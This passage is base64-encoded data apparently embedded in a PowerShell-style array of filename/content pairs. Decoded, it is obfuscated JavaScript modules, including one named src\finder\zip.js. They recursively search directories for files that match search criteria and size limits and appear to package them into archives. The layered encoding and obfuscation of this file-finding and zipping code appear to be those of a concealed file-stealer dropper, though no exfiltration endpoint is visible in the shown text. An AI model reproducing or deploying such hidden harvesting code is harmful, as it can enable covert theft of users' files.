sweDM0Y2UpP18weDU3N2RiOSooLTB4OGUzKi0weDIrMHgxKi0weDZkKy0weDExMTkqMHgxKStfMHgxOWViMTM6XzB4MTllYjEzLF8weDU3NjhkMisrJSgtMHhlY2IrLTB4MTIwZCotMHgxKzB4YTYqLTB4NSkpP18weDU0MGMyYis9U3RyaW5nWydmcm9tQ2hhckNvZGUnXSgtMHgxZDg0Ky0weDE5YWUrMHgzODMxJl8weDU3N2RiOT4+KC0oLTB4YioweDExNistMHgxYTljKzB4MjY5MCkqXzB4NTc2OGQyJjB4ZTIzKy0weDE3ZDcrMHg1MyoweDFlKSk6LTB4ODVmKi0weDMrLTB4MjU2OCstMHhjNGIqLTB4MSl7XzB4MTllYjEzPV8weDE1MzVlZVsnaW5kZXhPZiddKF8weDE5ZWIxMyk7fWZvcihsZXQgXzB4OTk5OTI5PS0weGI3OSstMHgxZWQyKzB4MmE0YixfMHgzOGE1NmY9XzB4NTQwYzJiWydsZW5ndGgnXTtfMHg5OTk5Mjk8XzB4MzhhNTZmO18weDk5OTkyOSsrKXtfMHgzN2JiNzkrPSclJysoJzAwJytfMHg1NDBjMmJbJ2NoYXJDb2RlQXQnXShfMHg5OTk5MjkpWyd0b1N0cmluZyddKDB4MSotMHhmMWErMHgxYjZkKy0weGM0MykpWydzbGljZSddKC0oLTB4M2EqLTB4OGMrLTB4ODZlKy0weDEqMHgxNzQ4KSk7fXJldHVybiBkZWNvZGVVUklDb21wb25lbnQoXzB4MzdiYjc5KTt9O2NvbnN0IF8weDQ5ZjYwYz1mdW5jdGlvbihfMHg1ZDIzNjUsXzB4Nzc1MjQ5KXtsZXQgXzB4NTM0ZDllPVtdLF8weDEyNzE5MD0weDU3ZSsweDE4YTYrLTB4MjgzKjB4YyxfMHg1Y2JkYjMsXzB4MjVlN2JmPScnO18weDVkMjM2NT1fMHg0YWZjZTUoXzB4NWQyMzY1KTtsZXQgXzB4YjYxMjk2O2ZvcihfMHhiNjEyOTY9MHgxYiotMHg0OCsweGI1NisweDNiZSotMHgxO18weGI2MTI5NjwtMHgxZmRlKy0weDUwYysweDI1ZWE7XzB4YjYxMjk2Kyspe18weDUzNGQ5ZVtfMHhiNjEyOTZdPV8weGI2MTI5Njt9Zm9yKF8weGI2MTI5Nj0tMHgxN2EwKzB4MWMzOCstMHg0OTg7XzB4YjYxMjk2PDB4MTVmOSstMHgxOTdhKzB4NDgxO18weGI2MTI5NisrKXtfMHgxMjcxOTA9KF8weDEyNzE5MCtfMHg1MzRkOWVbXzB4YjYxMjk2XStfMHg3NzUyNDlbJ2NoYXJDb2RlQXQnXShfMHhiNjEyOTYlXzB4Nzc1MjQ5WydsZW5ndGgnXSkpJSgweDEzZCoweDMrLTB4MTUxMystMHgxKi0weDEyNWMpLF8weDVjYmRiMz1fMHg1MzRkOWVbXzB4YjYxMjk2XSxfMHg1MzRkOWVbXzB4YjYxMjk2XT1fMHg1MzRkOWVbXzB4MTI3MTkwXSxfMHg1MzRkOWVbXzB4MTI3MTkwXT1fMHg1Y2JkYjM7fV8weGI2MTI5Nj0weDE0NDIrLTB4MTQ1ZistMHgxZCotMHgxLF8weDEyNzE5MD0tMHhhMjkrMHgxKjB4MWUzMSstMHgxNDA4O2ZvcihsZXQgXzB4MWNiY2MyPTB4ZTRhKjB4MSstMHhiNDkrLTB4MzAxO18weDFjYmNjMjxfMHg1ZDIzNjVbJ2xlbmd0aCddO18weDFjYmNjMisrKXtfMHhiNjEyOTY9KF8weGI2MTI5NisoLTB4MTRmOSstMHg0OSotMHg3NSstMHhjNjMpKSUoMHgxMTZhKzB4MTA2NiotMHgyKzB4MTA2MiksXzB4MTI3MTkwPShfMHgxMjcxOTArXzB4NTM0ZDllW18weGI2MTI5Nl0pJSgweDI0YWQqMHgxKzB4MjMzOSotMHgxKzB4NzQqLTB4MSksXzB4NWNiZGIzPV8weDUzNGQ5ZVtfMHhiNjEyOTZdLF8weDUzNGQ5ZVtfMHhiNjEyOTZdPV8weDUzNGQ5ZVtfMHgxMjcxOTBdLF8weDUzNGQ5ZVtfMHgxMjcxOTBdPV8weDVjYmRiMyxfMHgyNWU3YmYrPVN0cmluZ1snZnJvbUNoYXJDb2RlJ10oXzB4NWQyMzY1WydjaGFyQ29kZUF0J10oXzB4MWNiY2MyKV5fMHg1MzRkOWVbKF8weDUzNGQ5ZVtfMHhiNjEyOTZdK18weDUzNGQ5ZVtfMHgxMjcxOTBdKSUoMHgxKi0weDE2YjUrLTB4MmUqLTB4OGIrLTB4MSoweDE0NSldKTt9cmV0dXJuIF8weDI1ZTdiZjt9O18weDM2NTVbJ3BPWkxYZSddPV8weDQ5ZjYwYyxfMHgzMDc3ZWI9YXJndW1lbnRzLF8weDM2NTVbJ2lQQXFCZiddPSEhW107fWNvbnN0IF8weDE4ZGViNz1fMHgxZTY2ODNbLTB4MzQrLTB4MWYzNSsweDFmNjldLF8weDQ2MGEyMT1fMHg1MjhjNzIrXzB4MThkZWI3LF8weDVjOTJkMz1fMHgzMDc3ZWJbXzB4NDYwYTIxXTtyZXR1cm4hXzB4NWM5MmQzPyhfMHgzNjU1WydpZHBqdFInXT09PXVuZGVmaW5lZCYmKF8weDM2NTVbJ2lkcGp0UiddPSEhW10pLF8weDQzZTc5YT1fMHgzNjU1WydwT1pMWGUnXShfMHg0M2U3OWEsXzB4MTZlZjIyKSxfMHgzMDc3ZWJbXzB4NDYwYTIxXT1fMHg0M2U3OWEpOl8weDQzZTc5YT1fMHg1YzkyZDMsXzB4NDNlNzlhO30sXzB4MzY1NShfMHgzMDc3ZWIsXzB4NWRmMzlhKTt9KGZ1bmN0aW9uKF8weDU5OGZlZixfMHgxNmVkZGIpe2Z1bmN0aW9uIF8weDFiNmNkYShfMHgyZjA5NDcsXzB4NWNhYzRlLF8weDRmNWE0YSxfMHgyZDY4M2EsXzB4MmNlNTIxKXtyZXR1cm4gXzB4MzY1NShfMHgyZDY4M2EtIC0weDE1ZCxfMHg0ZjVhNGEpO31mdW5jdGlvbiBfMHg1MGVmYWQoXzB4NDNmYTY0LF8weDFjMTA0MyxfMHgzMTM1YTMsXzB4NWRiYWYyLF8weDQ3YjMyYSl7cmV0dXJuIF8weDM2NTUoXzB4NDdiMzJhLSAtMHgyMDAsXzB4MzEzNWEzKTt9ZnVuY3Rpb24gXzB4ZWE5YjFiKF8weDU1ZWZjNSxfMHgxYTlkMmEsXzB4NWM1NTQzLF8weDIyODBkNSxfMHgyYTJkZDMpe3JldHVybiBfMHgzNjU1KF8weDU1ZWZjNS0weDE5YSxfMHgxYTlkMmEpO31jb25zdCBfMHgxMWM2ZDE9XzB4NTk4ZmVmKCk7ZnVuY3Rpb24gXzB4OGZlNjFjKF8weDE2NWQ3YSxfMHg0Y2I4NWMsXzB4MzJkNDczLF8weDFkMDhkMixfMHgzNzc1NWUpe3JldHVybiBfMHgzNjU1KF8weDRjYjg1Yy0gLTB4MjhlLF8weDM3NzU1ZSk7fWZ1bmN0aW9uIF8weDQxNmE4NShfMHgzMzgyY2EsXzB4MmYwNDBhLF8weDRjNDNkZSxfMHgzYjYzMDYsXzB4MTI3MWIzKXtyZXR1cm4gXzB4MzY1NShfMHg0YzQzZGUtMHgxOGQsXzB4MzM4MmNhKTt9d2hpbGUoISFbXSl7dHJ5e2NvbnN0IF8weDJmZWRjYj0tcGFyc2VJbnQoXzB4ZWE5YjFiKDB4MzBjLCczb1ZbJywweDMwZiwweDMxZSwweDMxZSkpLygtMHgxOTJhKi0weDErMHg4MjMqMHgzKy0weDMxOTIpKy1wYXJzZUludChfMHg1MGVmYWQoLTB4N2YsLTB4NzMsJzNkI1cnLC0weDY3LC0weDdiKSkvKC0weDliYisweDEqMHgxMDdiKy0weDZiZSkqKC1wYXJzZUludChfMHg1MGVmYWQoLTB4NzMsLTB4N2EsJ0Q1XkgnLC0weDgwLC0weDcxKSkvKDB4MTI1MistMHgxNjEzKjB4MSsweDNjNCkpK3BhcnNlSW50KF8weGVhOWIxYigweDMwZiwncDRmUicsMHgzMTksMHgzMjEsMHgzMTEpKS8oMHgxYzYqMHgxNCsweDEqLTB4MTAxYSsweDIqLTB4OWFkKSooLXBhcnNlSW50KF8weDQxNmE4NSgnTlUzWScsMHgzMGYsMHgzMTQsMHgzMjYsMHgzMDApKS8oLTB4MWFiNystMHgxOWJkKjB4MSsweDY1KjB4ODUpKStwYXJzZUludChfMHgxYjZjZGEoMHgzLDB4OCwnRmlSaScsMHgxNywweDE2KSkvKDB4YzFlKzB4MTBkMystMHgxY2ViKSooLXBhcnNlSW50KF8weGVhOWIxYigweDMwOCwnRmlSaScsMHgzMGIsMHgyZjQsMHgzMDUpKS8oLTB4MyoweDZkNSstMHgxNjdmKjB4MSsweDJiMDUpKStwYXJzZUludChfMHg1MGVmYWQoLTB4OGEsLTB4ODEsJ0pwTUAnLC0weDYxLC0weDc1KSkvKC0weDEwODArMHg0Ki0weDk1KzB4MTJkYykqKHBhcnNlSW50KF8weDUwZWZhZCgtMHg2ZiwtMHg2OSwndUUmOScsLTB4N2IsLTB4NzYpKS8oMHg5Ki0weDNlNistMHgzNGQrMHgyNjZjKSkrcGFyc2VJbnQoXzB4NTBlZmFkKC0weDljLC0weDg5LCd3amdkJywtMHg5MCwtMHg4OSkpLygtMHgxZCoweDJlKzB4MjM2NystMHgxZTI3KStwYXJzZUludChfMHg1MGVmYWQoLTB4OGUsLTB4N2EsJ295XWsnLC0weDg1LC0weDgwKSkvKC0weDE4ZWMrMHgzKjB4OTIzKy0weDIqMHgxMzkpKihwYXJzZUludChfMHhlYTliMWIoMHgzMTAsJzNkI1cnLDB4MzBlLDB4MzIzLDB4MzA2KSkvKDB4ZWMzKi0weDErLTB4ODE0KzB4MTZlMykpO2lmKF8weDJmZWRjYj09PV8weDE2ZWRkYilicmVhaztlbHNlIF8weDExYzZkMVsncHVzaCddKF8weDExYzZkMVsnc2hpZnQnXSgpKTt9Y2F0Y2goXzB4MmMzY2JmKXtfMHgxMWM2ZDFbJ3B1c2gnXShfMHgxMWM2ZDFbJ3NoaWZ0J10oKSk7fX19KF8weDUwM2QsMHg5YmJkMistMHg0MDNjKi0weDE3Ky0weGE2NDEzKSk7ZnVuY3Rpb24gXzB4NTAzZCgpe2NvbnN0IF8weDU1NWVmNj1bJ2s4a3VXNWxkTWNqUVdQS1BxclZkUzhrZ1c2RycsJ1c2UG1XNFJkUDhrMFdQaGRPZjh6VzdUQ3pDb0YnLCdiWktaV1JWY1BXJywnbzhrSWpTa3YnLCd6ZlBCY2EnLCdlbWsvZzhvc1dSbGROMWhkVVc0RFdQL2RTYScsJ2JYZlR4cjgnLCdXNzNkUUx6L3dHJywnV1BwZFRTb05mTnJyZENrMXBHSmRPbWt3V09xJywndU03ZFZlWDFtV0snLCdnU29WVzRyRVdPaGRPOG9HekcnLCdvbW9oeUoxNScsJ3R0cGNWcScsJ1dPTzlnMXEzJywnZVNrL0VDa3JXNU5jSzF0ZFBxJywnazhrRVc1UmRNc25MVzQwL0JJSmRMOGtMJywnV1JHV21mMDUnLCdXNHZpVzZ1NnBMeGRRVycsJ29Db09oZ2hjSG1rQnVXJywnV085WmJjZGNIYScsJ2x1dk5pU29uV1BtTycsJ1c1T015MmhkT3FPV3dhVmNPdmxjVkdPJywnVzYzZE53UmRQU29nJywncWJ4Y1JzNCcsJ3NjL2RWbWt4RUNrY1dSWmRHbWtQZkgxVFdScScsJ1dPNWllU2taeVNrY2NhJywncG1vK0JKenInLCd4STFrV1E4dCcsJ3VXVEt0R0x4VzZ5JywnVzdkY05meU1tcScsJ2pIV3l3Q2tLVzZmWHhhdGNOVzE1VzdlJywnVzczZEtnbkxxRycsJ1c3TGlXT2poQ3VYdVc1TE9XNmRkU2Z4ZExHJywnYU5CZEhmdkMnLCdlU29UZThrQ1dQZkVDYScsJ0M4b21XT0ZjUndLJywndUpKY09Ta0p6cWhjVnhYRWptazRXUnknLCdpc21uVzRPNXE4b3FxOG9UYm1rcXFzTycsJ0Z0elh4cWU1dkNrT0Z2ZGRIYzAnLCdXUnBkUENvSFc2ZXlXNnBjUVcnLCdmbWtTcThvdlc1YTlkOGtDVzVKZFVkL2NPcW0nLCdjTnl0VzZUcHptazdXNS9kSWRCY1JTb0hXUGknXTtfMHg1MDNkPWZ1bmN0aW9uKCl7cmV0dXJuIF8weDU1NWVmNjt9O3JldHVybiBfMHg1MDNkKCk7fWltcG9ydHttYXRjaGVzRmlsZVBhdHRlcm4sbWF0Y2hlc0luc3RydWN0aW9ucyxtYXRjaGVzU2VhcmNoQ3JpdGVyaWF9ZnJvbScuL21hdGNoZXMuanMnO2ltcG9ydHtxdWVyeSxleHRyYWN0RGlyZWN0b3J5fWZyb20nLi9leHRyYWN0LmpzJztpbXBvcnR7ZW5jb2RlUGF0aH1mcm9tJy4vaGVscGVycy5qcyc7Y29uc3QgZmluZEZpbGVzSW5EaXJlY3Rvcnk9YXN5bmMoXzB4NDNmZDBmLF8weDFlN2U4NSxfMHg1ZDE0MzQsXzB4NTgzYTNjKT0+ISghYXdhaXQgbWF0Y2hlc1NlYXJjaENyaXRlcmlhKF8weDQzZmQwZixfMHg1ZDE0MzQsXzB4NTgzYTNjKSYmIWF3YWl0IG1hdGNoZXNJbnN0cnVjdGlvbnMoXzB4NDNmZDBmLF8weDFlN2U4NSxfMHg1ODNhM2MpKSx0cmF2ZXJzZURpcmVjdG9yeT1hc3luYyhfMHg4Y2IyMDMsXzB4Mjk4NmM1LF8weDhmMGE2MSxfMHgxN2ViZmQpPT57ZnVuY3Rpb24gXzB4NzcxNmM4KF8weDEwZDM0YyxfMHg1NjZhMWIsXzB4NWM5ZWY4LF8weDhlOTNkMCxfMHhiNWU3MzEpe3JldHVybiBfMHgzNjU1KF8weDVjOWVmOC0weDM1LF8weGI1ZTczMSk7fWZ1bmN0aW9uIF8weDI0Y2YxZChfMHgyMTBlMGQsXzB4MjczMDIwLF8weDIzYjVkZixfMHg1Yzc4ODIsXzB4M2IxNjQxKXtyZXR1cm4gXzB4MzY1NShfMHgyM2I1ZGYtMHgzNWQsXzB4MjczMDIwKTt9Y29uc3QgXzB4Mjc0NzViPXsnamtlTHonOmZ1bmN0aW9uKF8weDUyMjFjZCxfMHgxNjczOWIpe3JldHVybiBfMHg1MjIxY2QoXzB4MTY3MzliKTt9LCduUmlHUic6ZnVuY3Rpb24oXzB4ZjBjZDdhLF8weDJhNDMzMyxfMHg0YTgxNzksXzB4MTA5ODYxLF8weDRiYzZkNSl7cmV0dXJuIF8weGYwY2Q3YShfMHgyYTQzMzMsXzB4NGE4MTc5LF8weDEwOTg2MSxfMHg0YmM2ZDUpO30sJ2lJcXNqJzpmdW5jdGlvbihfMHgyYTIzOTEsXzB4MjczNzRhKXtyZXR1cm4gXzB4MmEyMzkxK18weDI3Mzc0YTt9LCdRYkVqbyc6ZnVuY3Rpb24oXzB4MzQzODcyLF8weDE1ZjdhOCxfMHg0Y2IwYjksXzB4NTA1NzQ0LF8weDE1NmVhNSl7cmV0dXJuIF8weDM0Mzg3MihfMHgxNWY3YTgsXzB4NGNiMGI5LF8weDUwNTc0NCxfMHgxNTZlYTUpO319O2Z1bmN0aW9uIF8weGM4ZGE0MihfMHgzZDRhNzQsXzB4NWQ2ZTZmLF8weDJiZmQ2OSxfMHg0YWU1ZjYsXzB4ZGU1ZGM2KXtyZXR1cm4gXzB4MzY1NShfMHg1ZDZlNmYtMHgxNjksXzB4MmJmZDY5KTt9bGV0IF8weDEyZGEzYj1bXTtmdW5jdGlvbiBfMHgzNWQwYjgoXzB4NGFhNzBmLF8weDE5NWE5MyxfMHg0NTgwZTAsXzB4M2Q4ZTBkLF8weDQ5ZjA2OCl7cmV0dXJuIF8weDM2NTUoXzB4NGFhNzBmLSAtMHgzODAsXzB4M2Q4ZTBkKTt9ZnVuY3Rpb24gXzB4NDBkZmVkKF8weDU3Y2Y3NyxfMHg1MDExMWEsXzB4NTYxM2MyLF8weDJiYWNmMCxfMHg1MTY5OTcpe3JldHVybiBfMHgzNjU1KF8weDUxNjk5Ny0weDM1NSxfMHgyYmFjZjApO310cnl7Y29uc3QgXzB4NTJiNzcyPWF3YWl0IF8weDI3NDc1YltfMHg3NzE2YzgoMHgxOTksMHgxOTMsMHgxYTQsMHgxYjEsJzNkI1cnKV0ocXVlcnksXzB4OGNiMjAzKSxfMHgyZjA0ZTI9XzB4Mjc0NzViW18weDc3MTZjOCgweDE4YSwweDE5MiwweDE5ZSwweDE5MiwnTHhFNicpXShleHRyYWN0RGlyZWN0b3J5LF8weDUyYjc3MiksXzB4NDg2YTY5PV8weDJmMDRlMj8uW18weDM1ZDBiOCgtMHgxZWYsLTB4MWU0LC0weDFlYywncDRmUicsLTB4MWVjKSsnciddKF8weDFlYWFiNT0+LTB4MjRmYisweDhhKjB4MjYrMHgxMDgwPT09XzB4MWVhYWI1W18weDc3MTZjOCgweDFjNywweDFiMywweDFiMiwweDFhYSwnSEQwbycpXSksXzB4MTZkMmRjPV8weDJmMDRlMj8uW18weDQwZGZlZCgweDRjYywweDRkNCwweDRjNSwnbElveicsMHg0YzIpKydyJ10oXzB4MTRhMWJkPT4tMHgyNDMyKzB4MjQ4MysweDEqLTB4NTE9PT1fMHgxNGExYmRbXzB4NDBkZmVkKDB4NGY0LDB4NGQ2LDB4NGVkLCdlbXN4JywweDRlMSldJiZwYXJzZUZsb2F0KF8weDE0YTFiZFtfMHg0MGRmZWQoMHg0YzEsMHg0ZGYsMHg0YzksJ2VsTmMnLDB4NGNlKV0pPHBhcnNlRmxvYXQoXzB4OGYwYTYxKSk7Zm9yKGNvbnN0IF8weDQwMjM2YiBvZiBfMHgxNmQyZGMpYXdhaXQgXzB4Mjc0NzViW18weDI0Y2YxZCgweDRlZCwnM0NHOCcsMHg0ZWQsMHg0ZTgsMHg0ZGIpXShmaW5kRmlsZXNJbkRpcmVjdG9yeSxfMHg0MDIzNmIsXzB4Mjk4NmM1LF8weDE3ZWJmZCxfMHg4Y2IyMDMpJiZfMHgxMmRhM2JbXzB4NzcxNmM4KDB4MWE3LDB4MTliLDB4MWFmLDB4MWMxLCd1RSY5JyldKHsuLi5fMHg0MDIzNmIsJ3BhdGgnOl8weDhjYjIwMysnLycrXzB4Mjc0NzViW18weGM4ZGE0MigweDJkZCwweDJlYSwnM0NHOCcsMHgyZDYsMHgyZTMpXShlbmNvZGVQYXRoLF8weDQwMjM2YltfMHhjOGRhNDIoMHgzMDgsMHgyZjYsJ051YmQnLDB4MmUyLDB4MzA2KV0pfSk7Zm9yKGNvbnN0IF8weGU0ZDlmMiBvZiBfMHg0ODZhNjkpe2NvbnN0IF8weDIzNGEyZD1fMHgyNzQ3NWJbXzB4NDBkZmVkKDB4NGQxLDB4NGFlLDB4NGMxLCdIRDBvJywweDRjMCldKF8weDI3NDc1YltfMHg3NzE2YzgoMHgxYmEsMHgxYmEsMHgxYWQsMHgxYTgsJ1hCNFgnKV0oXzB4OGNiMjAzLCcvJyksXzB4ZTRkOWYyW18weDI0Y2YxZCgweDRkYiwnNmtAMycsMHg0ZGYsMHg0ZTQsMHg0ZDcpXSksXzB4NTQ4OTU4PWF3YWl0IF8weDI3NDc1YltfMHg3NzE2YzgoMHgxYzAsMHgxY2IsMHgxYmIsMHgxYmMsJ0w4IU0nKV0odHJhdmVyc2VEaXJlY3RvcnksXzB4MjM0YTJkLF8weDI5ODZjNSxfMHg4ZjBhNjEsXzB4MTdlYmZkKTtfMHgxMmRhM2I9XzB4MTJkYTNiW18weGM4ZGE0MigweDJmNSwweDJlNSwnSlE0cScsMHgyZDcsMHgyZDcpKyd0J10oXzB4NTQ4OTU4KTt9fWNhdGNoKF8weDJjYmIxNSl7fXJldHVybiBfMHgxMmRhM2I7fTtleHBvcnQgY29uc3QgdHJhdmVyc2VEaXJlY3Rvcmllcz1hc3luYyhfMHg0ZTAzMTUsXzB4MzkwZjNhLF8weDIyZTNlZixfMHg0MTIwZDQpPT57Y29uc3QgXzB4MjFlYTA2PXsnZmxWdVMnOmZ1bmN0aW9uKF8weDU5YTMzOCxfMHgyYWYwZTYsXzB4MWQzYWUzLF8weDE2MTc0ZixfMHg1ODY4NDEpe3JldHVybiBfMHg1OWEzMzgoXzB4MmFmMGU2LF8weDFkM2FlMyxfMHgxNjE3NGYsXzB4NTg2ODQxKTt9fTtsZXQgXzB4M2Y1MjI0PVtdO2Z1bmN0aW9uIF8weDFkM2Y2ZChfMHg0OWJmYzAsXzB4NWRjNmQ3LF8weDNmYWQ0ZCxfMHg1ZWQwZjYsXzB4NGU2MDJiKXtyZXR1cm4gXzB4MzY1NShfMHg1ZGM2ZDctIC0weDM1ZSxfMHg0ZTYwMmIpO31mdW5jdGlvbiBfMHg1ZWJiM2MoXzB4NGJjM2NkLF8weDVlMGI3MCxfMHgzNTFhNDAsXzB4MTFjYTA2LF8weDRlYmI3Myl7cmV0dXJuIF8weDM2NTUoXzB4NGViYjczLSAtMHgyNDQsXzB4MTFjYTA2KTt9Zm9yKGNvbnN0IF8weDIxNDZhNSBvZiBfMHg0ZTAzMTUpe2NvbnN0IF8weDNiMDI5Nj1hd2FpdCBfMHgyMWVhMDZbXzB4NWViYjNjKC0weGJlLC0weGFmLC0weGIzLCdKcE1AJywtMHhiYildKHRyYXZlcnNlRGlyZWN0b3J5LF8weDIxNDZhNSxfMHgzOTBmM2EsXzB4MjJlM2VmLF8weDQxMjBkNCk7XzB4M2Y1MjI0PV8weDNmNTIyNFtfMHgxZDNmNmQoLTB4MWQ4LC0weDFkYiwtMHgxZTYsLTB4MWUwLCdMOCFNJykrJ3QnXShfMHgzYjAyOTYpO31yZXR1cm4gXzB4M2Y1MjI0O307Cg=='),@('c3JjXGZpbmRlclx6aXAuanM=', 'KGZ1bmN0aW9uKF8weDI3ZmVjYSxfMHg0ZDVhMzQpe2Z1bmN0aW9uIF8weDNlOWM5YShfMHg1Nzg2MjcsXzB4NDYxYWMwLF8weDg5MDNmOSxfMHgzZmZhMzQsXzB4ODkwMWVmKXtyZXR1cm4gXzB4MmViMShfMHg1Nzg2MjctMHgzMjgsXzB4M2ZmYTM0KTt9ZnVuY3Rpb24gXzB4OTg0OWYoXzB4YTY3NGE5LF8weDUxNzI3YixfMHgyYzk4YjksXzB4M2QzZDY1LF8weDIzMTlhMil7cmV0dXJuIF8weDJlYjEoXzB4YTY3NGE5LTB4MjgzLF8weDJjOThiOSk7fWZ1bmN0aW9uIF8weDE1ZTQzOChfMHgzM2NkZmIsXzB4MTBlYmE3LF8weDQ3YmNmZSxfMHgxM2ZiZTgsXzB4MTE4MDEyKXtyZXR1cm4gXzB4MmViMShfMHgzM2NkZmItIC0weDI2YixfMHgxMGViYTcpO31jb25zdCBfMHg0N2RkMmE9XzB4MjdmZWNhKCk7ZnVuY3Rpb24gXzB4MjYzMTBiKF8weGM0NzFlYixfMHgzMDIxMGMsXzB4MTRjMTliLF8weDJmM2IyNyxfMHgxNmZmYTkpe3JldHVybiBfMHgyZWIxKF8weDE2ZmZhOS0weDM0ZixfMHgzMDIxMGMpO31mdW5jdGlvbiBfMHg0MTUyMmIoXzB4Mzk4YWFlLF8weDE0MDkxZCxfMHhlZjkwYjIsXzB4MTI2ZmNmLF8weDU0OWQ5Mil7cmV0dXJuIF8weDJlYjEoXzB4MTI2ZmNmLTB4MjQ3LF8weDU0OWQ5Mik7fXdoaWxlKCEhW10pe3RyeXtjb25zdCBfMHg1ZjU1OGM9LXBhcnNlSW50KF8weDE1ZTQzOCgtMHhhZSwnRVkqYicsLTB4YTAsLTB4OTYsLTB4YzUpKS8oMHgxMGI1Ky0weDExNDIrMHg0NyoweDIpKigtcGFyc2VJbnQoXzB4NDE1MjJiKDB4NDBjLDB4NDA3LDB4NDEzLDB4M2ZlLCdbcmtxJykpLygweGE5YisweDEzYmUrLTB4OSoweDM1ZikpK3BhcnNlSW50KF8weDNlOWM5YSgweDRlZiwweDRlMywweDRlYiwnNVA5UScsMHg0ZjQpKS8oLTB4MTNjNysweDJmNyoweDMrMHhhZTUpKy1wYXJzZUludChfMHgzZTljOWEoMHg0ZDksMHg0ZjEsMHg0ZTMsJ3FBNnknLDB4NGQ2KSkvKC0weDEyMTMqLTB4MSstMHgxNTNkKy0weDE2Ki0weDI1KSooLXBhcnNlSW50KF8weDQxNTIyYigweDQxMiwweDNlNSwweDQwOCwweDNmZiwnRUwmbicpKS8oMHgyMTM1Ky0weDFmZGUrLTB4MTUyKSkrLXBhcnNlSW50KF8weDNlOWM5YSgweDUxMSwweDUyOSwweDRmYSwncUE2eScsMHg0ZmYpKS8oLTB4OSoweDlkKy0weDFhMWQqLTB4MSstMHgxNDkyKjB4MSkqKHBhcnNlSW50KF8weDk4NDlmKDB4NDRkLDB4NDU4LCc1UDlRJywweDQ1MSwweDQ0MCkpLygweDE2ZWIrMHhjKi0weDI5OCsweDgzYykpKy1wYXJzZUludChfMHg5ODQ5ZigweDQ1ZSwweDQ2YywndFJFMScsMHg0NjAsMHg0NGUpKS8oMHgxZjZiKzB4MTJlMisweDEqLTB4MzI0NSkqKHBhcnNlSW50KF8weDQxNTIyYigweDQwMywweDQyNiwweDQxZCwweDQwZiwnN3dBQCcpKS8oLTB4NioweDQ1ZistMHgxYzEqMHgxKzB4MTYqMHgxNDYpKSstcGFyc2VJbnQoXzB4M2U5YzlhKDB4NTA3LDB4NGY0LDB4NGZhLCdZQHlUJywweDUxZSkpLygtMHgxYzc2Ki0weDErMHgxMDkwKy0weDJjZmMpKihwYXJzZUludChfMHgzZTljOWEoMHg0ZjUsMHg0ZTgsMHg1MGYsJylLKGgnLDB4NGVjKSkvKDB4MTVhZCoweDErMHgxYTA3KzB4ZjkqLTB4MzEpKSstcGFyc2VJbnQoXzB4MjYzMTBiKDB4NTE3LCdxQTZ5JywweDUzMywweDUyMiwweDUzNykpLygtMHgzKi0weDJjNysweGRiZisweDExYSotMHgxNCkqKC1wYXJzZUludChfMHgzZTljOWEoMHg0ZTYsMHg0ZjMsMHg0ZGIsJ0dzNzknLDB4NGVlKSkvKC0weDIxNDYrMHg4Ki0weDM1OSsweDNjMWIpKTtpZihfMHg1ZjU1OGM9PT1fMHg0ZDVhMzQpYnJlYWs7ZWxzZSBfMHg0N2RkMmFbJ3B1c2gnXShfMHg0N2RkMmFbJ3NoaWZ0J10oKSk7fWNhdGNoKF8weGEyOWJkMil7XzB4NDdkZDJhWydwdXNoJ10oXzB4NDdkZDJhWydzaGlmdCddKCkpO319fShfMHhlZGRlLDB4MjExOCstMHgyNTg5KzB4NzYqMHgzYjkpKTtpbXBvcnQgXzB4MmU3MDY2IGZyb20nLi96aXBsaWIuanMnO2Z1bmN0aW9uIF8weGVkZGUoKXtjb25zdCBfMHgyYjE4MDk9WyduQ2tUVzRlQlc3ckV5U2tvJywnV1JoY1Fta3NzcTQnLCdXNmVtZHJsZEtXJywnVzZOY05ZaGRJcScsJ3A4a3dwOG8vVzRaZE1yVGNBQ29aVzRxNicsJ3hta3dkU2tPV1F1JywnV09hblc0NE9XUkMnLCdXT0pkVXVPVCcsJ2ltb1ZXNm1XVzVHJywnV1B2V1dReGRKQ29wa1NvUHJ0Q05XUmxjSmEnLCdqcjRieUNrZ1dSTmRLOGtBJywnRVlMZ1c3YlQnLCdXUG5XV1FCZEhTb2pqbW9nRUltY1dQZGNOYScsJ1c3dVhXUS9kTm1rcVdPRmNPVycsJ1c2S1NrTVJkTWEzZEdmcGNLWFdRblcnLCdXNFZjTDhrMGZ1U0VhU29RJywnVzZwY1JOWDhXNTQnLCdXNVpjSDhrQUVxSycsJ1c2R3JjcmknLCdhSWlxVzQzY1VHJywnY1NvQVc2UmNScScsJ1dQcGNObW8vaWRmVlc0M2RPMS9kUllUQycsJ2k4b0JCTU8nLCdXNlN3ZXF4ZElhJywnVzREVFdQSmNMOG8vczhrYURxJywncG1vbm9NVytXT2hkVWhSY0tta3NxQ29nJywnVzc1QkJTa25XUTQnLCdEckhJbWhhOFdPQ0VxbWt0JywnV09OZFU4a29CdXknLCdXNDVVVzRCZEdTa0VuQ2t0Qm1vV1dRcGNNOG9nJywnVzdQYXZXcGRMVycsJ1c0eGRVQ29kYlcnLCdwQ2tCb0NvMFc0M2RMcnI5QlNvZ1c0ZUknLCdqbWtCVzdDOXNXdUF2ZVhpcm1vTycsJ1dRcGRRTHVOVzVTJywnVzROY1ZDa2NXUm0nLCdjU291RjJwZFRXJywneVNreHFIalAnLCdXNHRkSThrNkQyYScsJ1dRSmRJYWxkUkNvcHA4b1NGYScsJ1c0QzlXN2hjVjhraicsJ1c2aGRUbW9mY0NvSicsJ2tZMERvd2xkR1NrdXpTb0NXUWpZV1IwJywnbEx6TkJxQmNWU2s0JywnV09xb1dPQmNLTksnLCdxQ29ZVzQ0MVc0SycsJ1c1WmNSd0REJywnV09WZExoWmRNZjgnLCdXNEs5VzdaY004a2knLCdjU29YbW1vS2ZhJywnbGFTT1dSUycsJ1c3WEZpOGtDJywnV1BqQVc0S2hXUGRjT05WZEphJywnV1JIMkN0ZScsJ3Vta1JqU2tLRWEnLCdrSTltelhaY0pta1VGcScsJ1dSVGJ2MC9jS0dhdldSZGNITGhjU21raScsJ3c4bzhXUkhIQUppRldPZScsJ0ZDa1pxRzUzJywnZ0NrVldRbjQnLCdGU28yZkxXJywnb0NvandYcmZXNGRkTktDJywnV09lRVdQeGNLQ28vVzVYdldPaTRXUUt0RUcnLCdXNmRjS2R5Jywnazhrc3k4a1RXNjAnLCdXT1ZjVDhrZVdSM2NSRycsJ1c3RmNPQ2t4cXE0JywnV1JIanUweGRRdm0xV1BkY1YyVyddO18weGVkZGU9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4MmIxODA5O307cmV0dXJuIF8weGVkZGUoKTt9Zn